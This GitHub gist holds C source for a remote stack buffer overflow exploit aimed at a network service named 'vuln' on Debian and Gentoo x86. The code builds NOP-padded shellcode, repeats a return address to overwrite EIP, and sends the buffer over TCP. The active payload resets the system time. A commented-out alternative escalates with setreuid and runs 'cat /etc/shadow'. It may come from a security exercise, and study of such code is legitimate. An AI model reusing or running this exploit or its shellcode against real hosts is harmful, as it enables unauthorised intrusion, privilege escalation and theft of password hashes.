Skip to content

Instantly share code, notes, and snippets.

@timfel
Created January 14, 2010 11:21
Show Gist options
  • Save timfel/277085 to your computer and use it in GitHub Desktop.
Save timfel/277085 to your computer and use it in GitHub Desktop.
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
/* The maxium payload (to have enough space for new ips) */
#define MAX_PAYLOAD_LENGTH 218
#ifdef __DEBIAN__
#define TARGET_SYSTEM "Debian (2.4, no ASLR)"
#define INSTRUCTION_LENGTH 1640
#define DEFAULT_IP "\x84\xee\xff\xbf"; /* buffer address on my debian */
#endif
#ifdef __GENTOO__
#define TARGET_SYSTEM "Gentoo (2.6, ALSR)"
#define INSTRUCTION_LENGTH 1032 // Tested with binary search
/* Address of a POPRET. Just leave this, it should work with any
* system that only uses the default Linux ASLR */
#define DEFAULT_IP "\x24\x88\x04\x08";
#endif
/* Convenience to 'reset' the EIP of the server -
* Had wrong results between tests */
void flush_buffer(char* ip, int port) {
char empty[1999] = {'\0'};
memset(empty, 'R', 1999);
write_to_socket(ip, port, empty);
}
/* Create a shellcode for the vuln binary */
char* create_shellcode(char* payload, char* ip) {
int eip_overflow, i, padded_shellcode;
char* shellcode;
if (strlen(payload) > MAX_PAYLOAD_LENGTH) {
fprintf(stderr, "Payload too large! Limit is at maximum of %d bytes!",
MAX_PAYLOAD_LENGTH);
exit(2);
}
/* Initialize buffer with NO-OPs */
shellcode = (char*)calloc(sizeof(char), INSTRUCTION_LENGTH + 1);
/* Put payload at start of the buffer */
strncpy(shellcode, payload, strlen(payload));
/* Padding with NO-OPs to align shellcode */
padded_shellcode = 4 - (strlen(payload) % 4);
memset(shellcode + strlen(payload), '\x90', padded_shellcode);
/* At the end of the buffer, just put the new IP over and over
* again to make sure it'll somehow end up in the EIP register */
eip_overflow = INSTRUCTION_LENGTH - strlen(payload) - padded_shellcode;
for (i = 0; i <= eip_overflow; i = i + strlen(ip)) {
strcpy(shellcode + strlen(payload) + padded_shellcode + i, ip);
}
strncpy(shellcode + strlen(payload) + padded_shellcode + eip_overflow +
strlen(ip), "\x00", 1);
/**
* Stack of vuln:
* -------------- viewer
* some locals | start of the buffer is here
* ... |
* ebp |
* eip | overwrite with address of POPRET (0x08048824)
* params | overwritten with NULL-byte
* --------------
* -------------- main
* locals | address of the src-buffer with our shellcode
* ... |
**/
printf("Shellcode is: %s\n", shellcode);
return shellcode;
}
int write_to_socket(char* host_ip, int port, char* str) {
int sock;
struct sockaddr_in server;
struct hostent *hp;
/* Setup connection */
server.sin_family = AF_INET;
server.sin_port = htons(port);
inet_pton(AF_INET, host_ip, &server.sin_addr);
/* create a socket */
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("Error creating socket\n");
exit(1);
}
/* connect to the server via the socket */
if (connect(sock, ((const struct sockaddr*)&server),
sizeof(struct sockaddr_in)) < 0) {
perror("Error connecting to server");
exit(1);
}
/* write buffer to stream socket */
if (write(sock, str, strlen(str) + 1) <= strlen(str)) {
perror("Error writing to socket\n");
exit(1);
}
close(sock);
}
/* Convenience method to be able to pass a buffer as argument */
char* convert_buffer_address(char* address) {
int h;
int i;
char hex[3] = {'\0'};
char* ip = calloc(sizeof(char), strlen(address) + 1);
/* Allow a little flexibility on the buffer argument */
if (address[1] == 'x') {
/* If the user copied '0x' at the beginning, move the pointer */
address = address + 2;
}
/* Only allow 32 or 64 bit pointers */
if ((strlen(address) != 8)
&& (strlen(address) != 16)) {
fprintf(stderr, "That's not a nice 32 or 64-bit pointer address!\n");
exit(2);
}
/* Do the parsing */
for(i = 0; i < strlen(address); i = i + 2) {
/* Copy one hex-byte into the temporary string */
hex[0] = address[i];
hex[1] = address[i + 1];
hex[2] = '\0';
/* Let sscanf parse the two hex digits */
sscanf(hex, "%x", &h);
/* Copy the hex (backwards) into the IP-char array */
strncpy(ip + (3 - (i / 2)), (const char*)&h, 1);
}
printf("The buffer address is: %s\n", ip);
return ip;
}
int main(int argc, char **argv) {
/* More shellcodes at: http://www.milw0rm.com/shellcode/linux/x86 */
/* Reset the system time and stop */
char* payload = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x19\x58\x99\x52\x89\xe3\xcd\x80\x40\xcd\x80";
/* execute command after setreuid */
/* char payload[] =
"\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99"
"\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff"
"cat /etc/shadow; exit;"; */
char* ip = DEFAULT_IP;
if ((argc < 3)
|| (argc > 4)) {
printf("Usage: ./overflow <host ip> <port> [buffer address]\n");
printf("This explots vuln on %s, with an overflow length of %d\n",
TARGET_SYSTEM, INSTRUCTION_LENGTH);
exit(2);
}
if (argc == 4) {
ip = convert_buffer_address(argv[3]);
}
flush_buffer(argv[1], atoi(argv[2]));
write_to_socket(argv[1], atoi(argv[2]), create_shellcode(payload, ip));
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment